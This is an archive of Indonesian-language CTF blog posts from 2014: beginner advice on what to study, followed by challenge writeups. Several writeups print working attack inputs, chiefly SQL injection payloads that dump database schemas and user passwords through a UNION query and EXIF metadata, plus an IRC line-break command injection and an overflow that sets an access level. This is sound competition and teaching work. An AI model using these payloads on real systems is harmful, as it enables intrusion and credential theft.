Sunday, November 9, 2014

Mau ikut CTF, perlu belajar apa?

Kali ini postingnya bukan tentang writeup, tapi topik umum yang sering ditanyakan: kalau mau ikutan CTF, perlu belajar apa sih?  Saya sudah menulis tentang CTF secara umum di blog pribadi saya, jadi di sini saya hanya ingin membahas: kalau mau ikutan CTF, apa yang perlu dipelajari, atau: harus mulai dari mana?

Pertama perlu dipahami bahwa soal-soal CTF beraneka ragam: kriptografi, reverse engineering (reversing), exploit (pwnables), web/networking, forensic, dan topik lain-lain. Jadi secara umum kita perlu belajar semuanya. Banyak soal saling berhubungan, jadi berkonsentrasi pada satu hal saja akan membatasi soal yang bisa diselesaikan. Contoh: ketika reversing, kadang ada enkripsi di dalamnya, atau ketika melakukan forensic, ternyata ditemukan file pcap yang membuat kita harus tahu soal networking.

Anda tidak perlu terpaku dengan apa yang saya tuliskan di sini. Cara termudah untuk memulai adalah dengan ikut CTF apapun, coba selesaikan, dan ketika gagal, bacalah writeupnya. Cara terbaik untuk memulai adalah dengan mencoba sendiri. Tapi jika kemampuan dasar Anda masih nol, memang Anda perlu belajar dulu hal-hal dasar. Misalnya jika Anda tidak tahu C dan Assembly, kemungkinan Anda bisa menyelesaikan soal reversing mendekat nol.

Untuk topik reversing dan exploit, kita perlu memahami assembly dan bahasa C. Sekarang ini kebanyakan soal diberikan dalam bentuk binary, dan kadang bisa didekompilasi menjadi C (dengan IDA Pro atau Hopper). Nah jika Anda tidak bisa membaca bahasa C, maka percuma bisa memakai dan menjalankan decompiler jika tidak memahami apa outputnya. Bahasa C ketika dicompile akan dikonversi menjadi assembly lalu di assembler menjadi file biner. Jadi saran saya: untuk topik reversing dan exploit, pahamilah dasar-dasar bahasa C, minimal sampai ke topik: memory allocation, pointer, function pointer.

Setelah bisa mengkompilasi program dalam bahasa C, cobalah reverse engineer sendiri program yang sudah dicompile itu, supaya mendapatkan feel bagaimana sebuah program dikonversi dari teks dalam bahasa C menjadi bahasa mesin. Setelah itu, cobalah membaca artikel-artikel mengenai exploit, misalnya tentang buffer overflow, heap overflow, dsb. Tanpa dasar bahasa C, akan sulit mengikuti topik-topik tersebut.

Dalam topik web, Anda bisa belajar teknologi web manapun (PHP, Python, Ruby, dsb). Anda bisa mulai dengan yang mudah, misalnya PHP. Cobalah menulis program sederhana yang memakai session, mengakses database, tanpa menggunakan framework (jadi pakailah PHP murni saja, jangan memakai Yii, Code Igniter, dsb yg sejenis). Secara tidak langsung, di sini Anda perlu belajar memakai database (belajar dasar-dasar SQL, select, insert, update, dsb). Lalu cobalah mengeksploit aplikasi Anda sendiri (sql injection, session fixation, dsb).

Di sisi client, Anda perlu belajar HTML dan JavaScript (wajib, karena ini bahasa de facto untuk aplikasi sisi client). Di sisi client ini ada beberapa yang perlu dipelajari dari sisi security, misalnya XSS. Pahami juga mengenai bagaimana client dan server berkomunikasi, artinya ini Anda perlu belajar tentang protokol HTTP. Anda harus paham hal-hal dasar seperti POST request, GET request, Cookie, dsb.

Meskipun saya menyarankan PHP, tapi pada banyak CTF, bahasa lain banyak dipakai. Konsep security dalam berbagai bahasa ini masih serupa, jadi pengetahuan dari satu bahasa bisa dipakai di bahasa lain.

Dalam topik forensic, kita biasanya diminta untuk mengekstrak data dari sebuah file. File ini bisa berupa disk image, bisa berupa network capture. Dalam hal ini, kita perlu tahu mengenai berbagai jenis filesystem dan tools-tools yang berkaitan dengan itu, tools forensik misalnya Sleuthkit dan Volatility. Untuk forensic yang berhubungan dengan networking (sebenarnya ini juga masuk dalam topik networking), Anda perlu memahami banyak protokol dasar, seperti misalnya HTTP, FTP, HTTPS, dsb. Cara memahami protokol-protokol ini, selain dengan banyak membaca adalah dengan mempraktikkan dengan mengcapture packet menggunakan wireshark dan membaca hasilnya.

Topik kriptografi adalah topik yang sangat abstrak, Anda harus belajar mulai dari enkripsi paling sederhana (rot13, xor, dsb), sampai topik yang rumit seperti RSA, dan bahkan topik kriptografi yang tidak standar lainnya. Berbagai tools standar (Seperti command line openssl) perlu dikuasai.

Hampir semua soal butuh programming untuk menyelesaikannya. Selain belajar bahasa C untuk masalah exploit dan reverse engineering, sebaiknya Anda belajar minimal satu bahasa lain. Kebanyakan orang menggunakan Python. Bahasa C bisa digunakan untuk menyelesaikan semua soal, tapi biasanya butuh waktu lebih lama untuk menulis program dalam bahasa C.  Contoh kecil saja: tanpa programming, bagaimana Anda akan mengekstrak teks untuk menyelesaikan soal seperti challenge ini?

Selain programming, kemampuan menggunakan shell (misalnya bash) dan tools-tools command line lainnya juga akan sangat membantu (misalnya: bagaimana mendapatkan MD5/SHA1 sebuah file). Sebenarnya menggunakan fitur-fitur shell juga adalah bentuk programming (ada loop, if dsb) tapi kemampuan dan kecepatan shell terbatas .

Akhir-akhir ini banyak algoritma ditanyakan, jadi pengetahuan mengenai berbagai algoritma dasar diperlukan. Contoh writeup di blog ini: Gas Stations (K Means), Web 200 SecuInside (CRC32)

Terakhir yang tak kalah penting adalah kemampuan menggunakan search engine (Google Fu). Ini sangat penting untuk mencari solusi soal. Kadang jawabannya langsung ketemu dengan Google, kadang kita perlu memodifikasi jawaban yang sudah ada. Cara terbaik untuk belajar memakai google adalah: jangan langsung bertanya pada orang ketika mentok. Cobalah habiskan waktu sejam, dua jam untuk mencari jawaban sendiri, dengan berbagai variasi kata kunci, kalau sudah menyerah, baru bertanya, plus sekalian tanya: bagaimana orang tersebut tahu jawabannya.

Perlu dicatat: kemampuan googling harus disertai kemampuan lain, misalnya jika sudah tahu  algoritma tertentu, kita tetap perlu bisa memodifikasi source codenya supaya sesuai dengan soalnya (butuh kemampuan programming).

Jika Anda sudah mulai "menyerah" melihat topik yang begitu banyak: perlu dicatat bahwa topik yang dipelajari juga berguna untuk dunia nyata. Keahlian forensik bisa untuk membantu teman yang datanya terhapus. Keahlian web bisa digunakan untuk membuat aplikasi web (dan mengetes/pentest aplikasi web).

Saya sendiri mendapatkan berbagai pengetahuan ini dari pengalaman saja. Pengetahuan networking karena kebetulan saya pernah jadi admin. Pengetahuan programming karena pekerjaan saya adalah programmer.  Sisanya adalah pengetahuan dari pengalaman sehari-hari. Data saya pernah hilang, jadi saya coba pelajari bagaimana proses recovery bekerja. Saya juga sering iseng membuat berbagai project pribadi yang sering saya buang (jadi cuma dapat ilmunya aja).

Cobalah juga membaca banyak writeup yang tersebar di berbagai penjuru internet. Ketika sudah dituliskan, semuanya tampak mudah, jadi kalau bisa: cobalah selesaikan sendiri soal tersebut. Jika Anda sudah membaca writeupnya, coba download soalnya, dan tanpa mencontek lagi coba selesaikan soal tersebut. Coba juga bayangkan juga: apakah kira-kira Anda bisa melihat apa yang dilihat oleh penulis writeup ketika melihat soal itu, tanpa diberi petunjuk apa-apa.

Ada juga CTF yang mengarsipkan semua soal plus scoringnya, misalnya hack.lu, arsipnya di sini. Jadi Anda bisa mendownload soal, menyelesaikan soal, koneksi ke server, mengecek flag Anda sudah benar atau belum (bedanya Anda tidak mendapatkan skor). Setiap tahun soalnya ada minimal 20 soal dan ada 4 tahun yang terarsip di situ, jadi minimal ada 80 soal yang bisa Anda coba.

Mengenai environment: kebanyakan orang menggunakan Virtual Machine (Silakan install Virtual Box atau VMWware). IDA Pro berjalan paling bagus di Windows, banyak tools command line bagus di OS X atau Linux, dan kebanyakan soal exploit adalah untuk Linux. Minimal mahirlah dalam menggunakan Windows dan Linux. Memiliki komputer dengan OS X boleh-boleh saja (silakan install Virtual Machine Windows dan Linux di dalamnya), tapi pemahaman mendalam mengenai OS X saat ini belum menjadi soal CTF.

Sebagai penutup: tim kami masih sangat jauh peringkatnya di dunia ini (saat artikel ini ditulis peringkat 166 di CTF Time), walaupun kami nomer 1 di Indonesia. Ini menunjukkan bahwa negara kita masih sangat ketinggalan dalam bidang CTF ini. Sebagian besar anggota team kamipun tergolong "tua" dan berkeluarga, sedangkan dari kebanyakan negara lain, mereka masih sangat muda. Orang muda punya waktu dan stamina yang lebih banyak dalam mengerjakan soal-soal CTF. Jadi saya sangat menyarankan Anda yang masih muda untuk ikutan CTF.


Wednesday, November 5, 2014

IDSECCONF ONLINE 2014: Hard Reversing

Sebenernya dimulai dari iseng download binary hardreverse di ctf online idsecconf siapa tau keluar di ctf offline karena belum ada yang solve :lol: ternyata agan faco sudah menyelesaikan challenge ini sesudah game berakhir, jadi ga dikeluarin di ctf offline deh :))

Untuk memecahkan challenge ini, trik yang digunakan adalah 'the dumb way' karena anda tidak perlu pusing-pusing untuk baca assembly bagaimana binari tersebut melakukan kalkulasi algoritmanya, jika binari tersebut melakukan generate plaintext dan ciphertext dengan sendirinya.

Berikut script gdb extension yang digunakan untuk melakukan generate wordlist



Lalu tinggal tidur, biar program berjalan melakukan pekerjaannya. Trik ini akan tidak berjalan dengan baik jika jumlah wordlist yang dibutuhkan sangat besar.



Monday, November 3, 2014

IDSECCONF OFFLINE 2014: Easy Reversing

Peserta diberikan sebuah file binary elf32, binary tersebut akan melakukan cek terhadap input yang dimasukkan, ketika input yang dimasukkan adalah benar, maka input tersebut adalah flag yang digunakan untuk disubmit di scoring system.


Berikut hasil decompile dari fungsi main di binary tersebut.
Hasil decompile menunjukkan bahwa input akan dimasukkan ke dalam fungsi 'rocks' untuk dikalkulasikan dengan algoritma tertentu sebelum dilakukan perbandingan dengan string yang terdapat di alamat 0x80497b8.

Berikut hasil disassemble dari fungsi rocks.


Hasil disassemble diketahui akan melakukan looping sebanyak 6 kali dan melakukan xor pada setiap looping-nya dengan nilai 0x6c, berikut nilai hasil input setelah proses xor-ing untuk medapatkan flag.
Untuk mendapatkan flag, kita dapat melakukan xor ulang terhadap nilai diatas dengan nilai 0x6c setiap byte-nya.


IDSECCONF OFFLINE 2014: Medium Exploit

Peserta diberikan sebuah file data, file tersebut teridentifikasi seperti sebuah paket pcap hasil dari dumpcap namun tidak dapat dibuka dengan wireshark secara langsung karena terdapat beberapa paket yang rusak. Untuk memecahkan challenge ini, saya melakukan carving file tersebut dengan mempergunakan scalpel.


Dari hasil carving, ditemukan informasi flag pada alamat '192.168.85.101' pada port 31337.

Diketahui bahwa service tersebut merupakan python sandbox, dimana terdapat informasi flag terdapat didalam file 'flag.txt', untuk membaca file flag yang ada di komputer tersebut adalah sebagai berikut:


IDSECCONF OFFLINE 2014: Easy Exploit

Peserta diberikan sebuah file binary elf 32 bit, peserta juga diberikan akses untuk masuk ke dalam sistem dimana file binary tersebut berada untuk mendapatkan flag. Pada user home direktori terdapat sebuah suid binary dan sebuah file flag. Untuk mendapatkan flag, peserta diharuskan untuk melakukan exploitasi terhadap suid binary tersebut. Berikut hasil disassemble dari binary yang diberikan.



Program akan membaca file 'flag' ketika kita dapat melakukan overwrite variable yang melakukan cek perbandingan dengan nilai 0xdeadbeef. Untuk melakukan mengoverwrite variable tersebut, input buffer yang dibutuhkan adalah 20bytes.



Sunday, October 26, 2014

HITBKUL 2014: Challenge 2

Dalam challenge ini diberikan sebuah file pcap. Isinya ada beberapa yang mengecoh, tapi sebagian besar adalah “PING”, seperti ini:

image

Setelah disadari bahwa ini adalah koordinat X, Y, Z, maka berikutnya kita perlu mengekstraknya. Sebenarnya tadinya berencana menggunakan scappy, tapi karena saya belum pernah memakainya, saya liat teksnya ternyata per paket ada baris baru, jadi saya menulis skrip singkat ini:

 

Setelah itu data diedit menggunakan fitur makro Emacs supaya masuk ke format wolfram. Format perintah koordinat wolfram sangat sederhana, hanya:

a = {{x0, y0, z0}, {x1, y1, z1}, … , {xn, yn, zn}}

Show[Graphics3D[Point /@ a]]

 

image

HITBKUL 2014: Challenge 3

Challenge 3 ini sifatnya menebak satu per satu karakter. Ketika melakukan koneksi ke server, kita akan diberi respon benar, jika karakter yang kita masukkan benar. Tapi respon server akan semakin lama  berbanding lurus dengan panjang string. Jadi kami menggunakan tebakan plus skrip. Jadi caranya, setiap kali kami merasa sudah menebak satu kata, skripnya langsung diupdate, tadinya variable correct ini kosong, dan ketika berhasil menebak ‘th’, kami langsung mencoba “the”, dst.

Di dalam source code, flag terakhir yg kami temukan adalah thelasteverhackintheboxconferenceheldinkualalumpurmalaysia, dan dengan mencoba manual, ternyata flag yang diminta adalah thelasteverhackintheboxconferenceheldinkualalumpurmalaysia2014

HITBKUL 2014: Daemon 2

Setelah berhasil menyelesaikan d4 (yang belum langsung terpaka di hari pertama), kami mencoba daemon d1 (yang ternyata mustahil diselesaikan karena penggunaan fungsi random yang tidak bisa diprediksi), dan daemon 2. Logika daemon 2 ini sangat sederhana:

image

Daemon 2 akan melakukan konek balik ke host kita ke sebuah port random yang tidak bisa diprediksi. Salah satu solusi untuk ini adalah menggunakan iptables, tapi sayangnya ini didisable oleh panitia.

Jadi akhirnya saya membuat sebuah skrip python yang melisten ke banyak socket sekaligus:

Karena batasan jumlah port yang bisa dibuka, skrip itu tidak akan 100% berhasil. Skrip ini dijalankan di satu console, sambil di console lain kita melakukan serangan:

for((i=0; i<100;i++)); do nc 192.168.10.105 31337; done

Dengan mengulangi 100x, dapat dipastikan kita menerima flag dari lawan.

HITBKUL 2014: Daemon 4

Tantangan daemon 4 ini sebenarnya seharusnya diberikan di hari kedua, tapi karena kesalahan panitia, binarynya sudah dimunculkan di hari pertama. Daemon ini pertama akan membaca file flag.txt ke memori

Program ini lalu menghasilkan data random 11 digit

image

Ketika client connect ke daemon ini, maka daemon ini akan meminta PIN, pin ini dicocokkan dengan data random melalui serangkaian fungsi hashing yang rumit, lalu dibandingkan dengan strncmp:

image

Fungsi hashnya sama sekali tidak saya pelajari, berikut ini potongannya yang cukup ribet:

image

Intinya solusinya begini: terlalu rumit untuk mempelajari dan mengimplementasikan ulang algoritma hashingnya, jadi kita gunakan saja fungsi strncmp untuk mencari flag yang benar, diberikan suatu waktu.

Saya membuat file ini, intinya adalah: fungsi time() dioverride agar mengembalikan waktu dari environment variable TIME, dan fungsi strncmp akan me-log kode yang benar ke file timemap.txt

Compile file ini:

gcc -Wall -fPIC -shared -o d4.so  d4.c 

Lalu di sebuah console, jalankan ini:

export TIME=waktumulai

for((i=1; i<4000;i++)); do echo $TIME; export TIME=$(expr ${TIME} + 1); LD_PRELOAD=./d4.so ./d4; done

Di console lain, saya memiliki file ini, yang sekedar mengirimkan 12345678901 ke server.

 

Skrip ini dijalankan dalam loop:

while true; do python brute4.py; done

Hasilnya: kita memiliki file timemap.txt, yang isinya adalah: pada time t, kode yang benar adalah n

Selanjutnya, kita bisa menggunakan data ini untuk menyerang siapapun:

Thursday, October 23, 2014

HACK.LU CTF 2014 - Barmixer Bot

Pada challenge ini, kita diberikan sebuah informasi channel IRC freenode yaitu #hacklu-saloon  didalam channel tersebut terdapat sebuah bot dengan nick Barmixing-bot. kemudian saya mencoba melihat service/perintah apa saja yang disediakan oleh bot. saya memulainya dengan perintah !help untuk melihat perintah apa saja yang akan dilayani bot tersebut:

(9:40:51 PM) oghie: !help
(9:40:52 PM) barmixing-bot: oghie: Send messages to the bot or the channel starting with an exclamation mark. Known commands are list, status, karma, math, base64, base64d, rot13, ping, hack, request, list
Terdapat ada 10 perintah pada bot. dari berbagai perintah yang saya inputkan tidak menemukan titik terang. Namun setelah mengamati keseluruhan output yang ada pada perintah tersebut, ada satu perintah disini yang sangat menarik perhatian saya, yaitu perintah !status. isinya seperti ini:
(10:21:18 PM) oghie: !status
(10:21:20 PM) barmixing-bot: oghie: My name is barmixing-bot, my uptime is 8 hours 12 minutes and 30 seconds. I am on the following channels: #hacklu-saloon, #hacklu-secret-channel, 
 
yang menarik outputnya disini yakni #hacklu-secret-channel. kemudian saya mencoba untuk join ke-channel tersebut namun ternyata hanya memungkinkan untuk nick yang telah di invite.


Dari sini saya mencoba memanfaatkan perintah !base64d dengan menyisipkan perintah INVITE kedalam string base64. Jadi ketika bot melakukan Decode string base64, maka akan otomatis juga melakukan eksekusi perintah INVITE nick kedalam channel #hacklu-secret-channel

jadi mari kita encode ke base64 perintah INVITE tersebut:
#echo -e 'Hai\r\nINVITE oghie #hacklu-secret-channel' | base64
SGFpDQpJTlZJVEUgb2doaWUgI2hhY2tsdS1zZWNyZXQtY2hhbm5lbAo=
*catatan: diperlukan multi-line encode  


Kemudian kita kembali ke bot untuk menjalankan perintah decode base64. Adapun perintah yang di inputkan ke bot yaitu:
!base64d SGFpDQpJTlZJVEUgb2doaWUgI2hhY2tsdS1zZWNyZXQtY2hhbm5lbAo=
 


Dari sini kemudian bot mengkonfirmasi untuk masuk kedalam channel #hacklu-secret-channel


Setelah berada didalam channel, ternyata flag berada pada bagian topic channel.

Flag: GfeBNmN5XjwDvQB64qoqaEEeYogk4rGH3ikZ0qtc3B3HKLDoAH

Thanks.

HACK.LU CTF 2014: Dalton's Corporate Security Safe for Business

Kita diberikan sebuah website, di mana kita harus memasukkan kode-kode Captcha dalam waktu singkat (ada banyak kode sebelum diterima). Captcha-nya dihasilkan oleh javascript yang menulis ke kanvas. Kodenya selalu berubah (nama variabelnya, dan beberapa perintahnya, termasuk juga warnanya). Ini contoh JavaScriptnya:

 

Cara termudah menyelesaikan ini adalah dengan menggunakan nodejs untuk mengevaluasi javascriptnya. Saya menggunakan kombinasi python dan nodejs untuk menyelesaikannya:

Setelah dijalankan agak lama (sekitar 8 input), didapat:

FLAG :D :D fef9565c97c3a62fe10d2a0084a9e8179d72f4a05084997cb80e900d1a77a42e3

HACK.LU CTF 2014: Personnel Database

Kita diberikan source code ke sebuah service. Ketika register kita mendapatkan level terendah, dan kita hanya bisa membaca info milik boss jika memiliki level tertinggi.

Kelemahan service ini adalah: buffer yang digunakan untuk menulis besarnya tidak sama dengan membaca. Ketika mendapatkan input dari user:

char line[512]; /* last incoming command */
while (printf("> "), fgets(line, sizeof(line), stdin)) {
rtrim(line);

Dan ketika membaca dari file:


char line[256];
while (fgets(line, sizeof(line), f)) {

512 vs 256. Karena fgets dipakai, maka satu “baris” menjadi max 256 line. Jika kita memberikan deskripsi lebih dari 256 karakter, maka sisanya akan dianggap baris berikutnya.


Perintah ini cukup untuk mendapatkan flagnya:


 


register yohanes:yohanes1
set_description ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ123456789access_level=11
logout
user yohanes
pass yohanes1
whois boss
personnel

HACK.LU CTF 2014: Encrypted

Kita diberikan sebuah web dengan login dan password. Ketika login salah, terlihat query aneh:

Sepertinya itu adalah ROT13, dan ternyata memang benar. Jadi kita cuma perlu membuat query baru dan mengencodenya ke ROT13:

encrypted-login2

Dan berhasil:

encrypted-login

HACK.LU CTF 2014: GUESS THE FLAG

Look at that guy over there! He's a bandit from the group that robs the stagecoaches in unpredictable intervals. I think he hasn't been with them for very long, so he can't tell whether you're one of them. Try to look like a bandit and talk to him. He probably won't just tell you their plan for the attack, but maybe you can ask him some questions?

Kita juga diberikan binary dan source code:

https://github.com/ctfs/write-ups/tree/master/hack-lu-ctf-2014/guess-the-flag

Binarynya tentunya tidak mengandung flag yang benar (censored). Yang perlu diperhatikan dari source code adalah:

int is_flag_correct(char *flag_hex /* the user's guess in hex */) { 

char bin_by_hex[256] = { /* table for looking up the value of a hex character – -1 means invalid */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

dan


/* the correct flag was censored out */
char flag[50] = "flag{0123456789abcdef0123456789abcdef0123456789ab}";

Ketika konversi dari hex ke biner yang dilakukan adalah:


for (int i=0; i<50; i++) {
char value1 = bin_by_hex[flag_hex[i*2 ]];
char value2 = bin_by_hex[flag_hex[i*2+1]];
if (value1 == -1 || value2 == -1) {
printf("bad input – one of the characters you supplied was not a valid hex character!\n");
exit(0);
}
given_flag[i] = (value1<<4) | value2;
}

Masalahnya terletak pada “char” yang sifatnya signed. Jika kita beri flag_hex dengan nilai negatif, maka kita akan merujuk ke bin_by_hex[nilaiminus], dan karena tepat setelahnya adalah lokasi flag, maka kita bisa menunjuk agar tiap karakter menunjuk ke flag.


Dari hasil investigasi, ternyata jarak antara bin_by_hex dan flag adala 64 byte, jadi jika kita bisa nilai –64, –63, dst maka kita akan mendapat pesan bahwa flag kita benar. Masalahnya kita tetap tidak tahu flag kita apa.


Jadi untuk mendapatkan flagnya, kita kirimkan semua nilai tadi, kecuali karakter pertama, kita coba dari 0-9a-f. Lalu ketika sudah mendapatkan karakter yang benar, kita coba karakter kedua, dst.


Dengan cara itu, didapat: flag{6974736a7573746c696b65696e7468656d6f76696573}

kalau didecode flagnya: itsjustlikeinthemovies

HACK.LU CTF 2014: KILLY THE BIT

Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg. All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST.
Killy the Bit stands in your debt and sent the following link. Can you break the password generation process in order to get access to the admin account?

Diberikan juga hint:

Hint: Blind SQLi is not a good solution. You can get the correct and complete flag with one single request!

(Published on 2014-10-21 22:42:29)

Hint: The password's column name is 'passwd'.

(Published on 2014-10-21 16:27:33)

The challenge won't actually send emails - just concentrate on the website

Kita diberi source code dengan SQL injection yang jelas terlihat:

<?php
$res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");
?>

Tapi ada pengecekan:


<?php
<!-- blind? we will kill you :) -->
if(isset($_GET['name']) && $_GET['name']!='' && !preg_match('/sleep|benchmark|and|or|\||&/i',$_GET['name'])) {

?>

Kita tidak bisa memakai OR, XOR, AND, SLEEP, BENCHMARK, |, ||, &, &&. Dan ada lagi: jika username ditemukan, maka password akan dihasilkan, selain itu akan dicari user yang namanya mirip dengan “sounds like”.


Dengan menggunakan kreativitas, kita bisa menggunakan ^ (operasi xor untuk bit):


admin' ^ name='admin' union select passwd,1 from user where name='admin' limit 200 offset 1 --

image


Catatan: dalam hint diberikan nama kolom yaitu “passwd”.

HACK.LU CTF 2014: Objection

This guard talks a weird dialect. And why does he talk in such a complicated way?

File source code ada di sini (dan juga pembahasannya): 

https://github.com/ctfs/write-ups/tree/master/hack-lu-ctf-2014/objection

Meski demikian, saya meyangka ini adalah file dalam bahasa LiveScript (http://livescript.net/) dan bukan COCO, dan skripnya bisa jalan dengan “lsc”. Mungkin juga skrip ini kompatibel dengan kedua bahasa tersebut.

Inti dari skrip tersebut adalah menciptakan sebuah object javascript, yang akan mengecek apakah is_admin true sebelum mendapatkan tokennya. Kita bisa memanggil fungsi-fungsi yang didefinisikan (login, get_token), tapi di JavaScript ada fungsi built in __defineGetter__ untuk mendefinisikan getter bagi properti. Dengan mengeset itu untuk is_admin, maka is_admin akan selalu true.

livlescript1

HACK.LU CTF 2014: Gunslinger Joe's private Terminal

Kita diberikan akses ssh. Sepertinya semua karakter alfanunmerik diremove.

gun01

Tapi dengan mencoba:

./*

Kita mendapat pesan “./FLAG: permission denied”

Memasukkan ini:

/*/*

Kita masuk ke editor “vi”. Cukup dengan “:r FLAG” kita mendapat flagnya:

gun3

HACK.LU CTF 2014: HIDDEN IN PLAIN SIGHT

Soal:

At our software development company, one of the top developers left in anger. He told us that he had hidden a backdoor in our node.js server application – he thinks that we can't find it even if we try. I have attached the source code of our fileserver. After registration, you can log in, upload files and create access tokens for your files that others can use to retrieve them. He must have added some way to retrieve files without permission. And we don't have version control, so we can't just check his last commits. We have read the source code multiple times, but just can't figure out how he did it. Maybe he just lied? Can you help us and demonstrate how the backdoor works? We have uploaded a file to “/files/testuser/flag.txt” – please try to retrieve it.
Connect to https://wildwildweb.fluxfingers.net:1409/. Note that all your files will be purged every 5 minutes.

 

Source code diberikan, dan sudah ada yang mengupload di sini:

https://github.com/ctfs/write-ups/tree/master/hack-lu-ctf-2014/hidden-in-plain-sight

Waktu memabaca source codenya, sebenarnya sepertinya semuanya tidak mungkin dipecahkan. Tapi ketika saya run, hmac yang dihasilkan selalu sama. Setelah diperhatikan dengan hex editor, ternyata ada huruf yang memakai unicode, jadi HMAC-nya selalu sama.

Dengan meng-cut source codenya, kita bisa menghasilkan signature untuk flag yang diminta:

Dan hasilnya:

4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4

Jadi kita tinggal akses filenya di url: files/testuser/flag.txt/HASH

nodejs

HACK.LU CTF 2014: ImageUpload

Soal:

In the Wild Wild Web, there are really bad guys. The sheriff doesn't know them all. Therefore, he needs your help. 
Upload pictures of criminals to this site and help the sheriff to arrest them. 
You can make this Wild Wild Web much less wild!!!

Kita diberi halaman untuk login, tapi tanpa login kita bisa mengupload image:

loginpart 

Ketika mengupload gambar kecil (kosong, putih), yang muncul adalah:

empty-stuff

Terlihat bahwa ada field Manufacturer dan Model, kemungkinan besar ini didapat dari data EXIF (yang tidak ada di file yang saya upload). Kita bisa mencoba-coba mengganti Model:

exifmodel

Dan bisa berhasil:

model

Dengan mengoba memasukkan karakter “’” didapat pesan error SQL, jadi ini adalah masalah injection di Insert. Dari urutan field, yang perlu kita modifikasi adalah Manufacturer (sebenarnyanya model juga bisa, tapi lebih sulit).

 

Ternyata yang harus dimodifikasi adalah attribut “Make”exif-not-writable

devicemake

Dan bisa kita test:

devicemake-display

Beberapa query yang dipakai:

exiftool -Make="', (SELECT group_concat(schema_name separator '|') FROM information_schema.schemata)) -- " empty.jpg

Ini adalah contoh output mendapatkan daftar database:

databasenames

exiftool -Make="', (SELECT group_concat(table_name separator '|') FROM information_schema.tables WHERE table_schema='chal')) -- " empty.jpg

Seterusnya kita dapatkan nama kolom untuk users

exiftool -Make="', (SELECT group_concat(column_name separator '|') FROM information_schema.columns WHERE table_name='users')) -- " empty.jpg

Dan terakhir daftar user dan passwordnya:

exiftool -Make="', (SELECT group_concat(concat(name, ' - ', password) separator '|') FROM users)) -- " empty.jpg

userpass

Dan dengan menggunakan Link Login kita bisa login sebagai Sheriff

thepass

Saturday, July 12, 2014

Pwnium CTF2014: re150 Kernel Land

Dalam soal kali ini, kita diberikan sebuah file ELF yang memenuhi multiboot specification (file ELF ini adalah kernel yang bisa diboot dengan grub atau qemu). Tapi karena ada petunjuk bahwa di tick ke 3 kita akan menemukan flagnya (“The third Tick gives you the answer ;)”), saya tidak memboot file ini, tapi hanya melihat disassemblynya saja pada fungsi “timer_tick”.

00100958 <timer_tick>:
100958: 83 ec 14 sub $0x14,%esp
10095b: a1 c0 60 10 00 mov 0x1060c0,%eax
100960: 8d 50 01 lea 0x1(%eax),%edx
100963: 89 15 c0 60 10 00 mov %edx,0x1060c0
100969: 50 push %eax
10096a: 68 03 22 10 00 push $0x102203
10096f: e8 d5 05 00 00 call 100f49 <printf>
100974: 0f b6 0d c0 60 10 00 movzbl 0x1060c0,%ecx
10097b: 83 c4 10 add $0x10,%esp
10097e: b8 00 00 00 00 mov $0x0,%eax
100983: 89 ca mov %ecx,%edx
100985: 32 90 60 30 10 00 xor 0x103060(%eax),%dl
10098b: 83 c2 01 add $0x1,%edx
10098e: 88 90 60 30 10 00 mov %dl,0x103060(%eax)
100994: 83 c0 01 add $0x1,%eax
100997: 83 f8 28 cmp $0x28,%eax
10099a: 75 e7 jne 100983 <timer_tick+0x2b>
10099c: 83 c4 0c add $0xc,%esp
10099f: c3 ret

Data ada di 0x103060 dan ada 0x28 byte (40 bytes).

$ objdump -s --start-address=0x103060 --stop=0x103088 kernel


kernel:     file format elf32-i386 

Contents of section .data:
103060 49746f66 726a7862 32602e2e 632e322e Itofrjxb2`..c.2.
103070 36303331 5d673662 31676730 5e296231 6031]g6b1gg0^)b1
103080 3163625e 5e2d5d7a 1cb^^-]z

Saya terjemahkan langsung algoritmanya apa adanya ke C:

Ketika dijalankan didapatkan:

cl = 1 flag = Ivohtlzd4b00c0408231]g8d1gg2`)d11cd``-]|
cl = 2 flag = Lunkwoyg7a33b373;124`f;g4ff1c,g44bgcc0`
cl = 3 flag = Pwnium{e5c11b1519328df9e8ff3a0e88beaa4d}

di “tick” ke 3 itu kita mendapatkan flagnya:


Pwnium{e5c11b1519328df9e8ff3a0e88beaa4d}

Pwnium 2014: misc75 So Basic

Kita diberi sebuah file Misc75.zip, isinya adalah 40 file, masing-masing dengan nama berupa string heksadesimal seperti ini:

02e74f10e0327ad868d138f2b4fdd6f0
1679091c5a880faf6fb5e6087eb1b2dc
182be0c5cdcd5072bb1864cdee4d3d6e
19ca14e7ea6328a42e0eb13d585e4c22
1c383cd30b7c298ab50293adfecb7b18
1f0e3dad99908345f7439f8ffabdffc4
1ff1de774005f8da13f42943881c655f
33e75ff09dd601bbe69f351039152189
34173cb38f07f89ddbebc2ac9128303f
37693cfc748049e45d87b8c7d8b9aacd
3c59dc048e8850243be8079a5c74d079
45c48cce2e2d7fbdea1afc51c7c6ad26
4e732ced3463d06de0ca9a15b6153677
6364d3f0f495b6ab9dcf8d3b5c6e0b01
6512bd43d9caa6e02c990b0a82652dca
6ea9ab1baa0efb9e19094440c317e21b
6f4922f45568161a8cdf4ad2299f6d23
70efdf2ec9b086079795c442636b55fb
8e296a067a37563370ded05f5a3bf3ec
8f14e45fceea167a5a36dedd4bea2543
98f13708210194c475687be6106a3b84
9bf31c7ff062936a96d3c8bd1f8f2ff3
a5771bce93e200c36f7cd9dfd0e5deaa
a5bfc9e07964f8dddeb95fc584cd965d
a87ff679a2f3e71d9181a67b7542122c
aab3238922bcc25a6f606eb525ffdc56
b6d767d2f8ed5d21a44b0e5886680cb9
c16a5320fa475530d9583c34fd356ef5
c20ad4d76fe97759aa27a0c99bff6710
c4ca4238a0b923820dcc509a6f75849b
c51ce410c124a10e0db5e4b97fc2af39
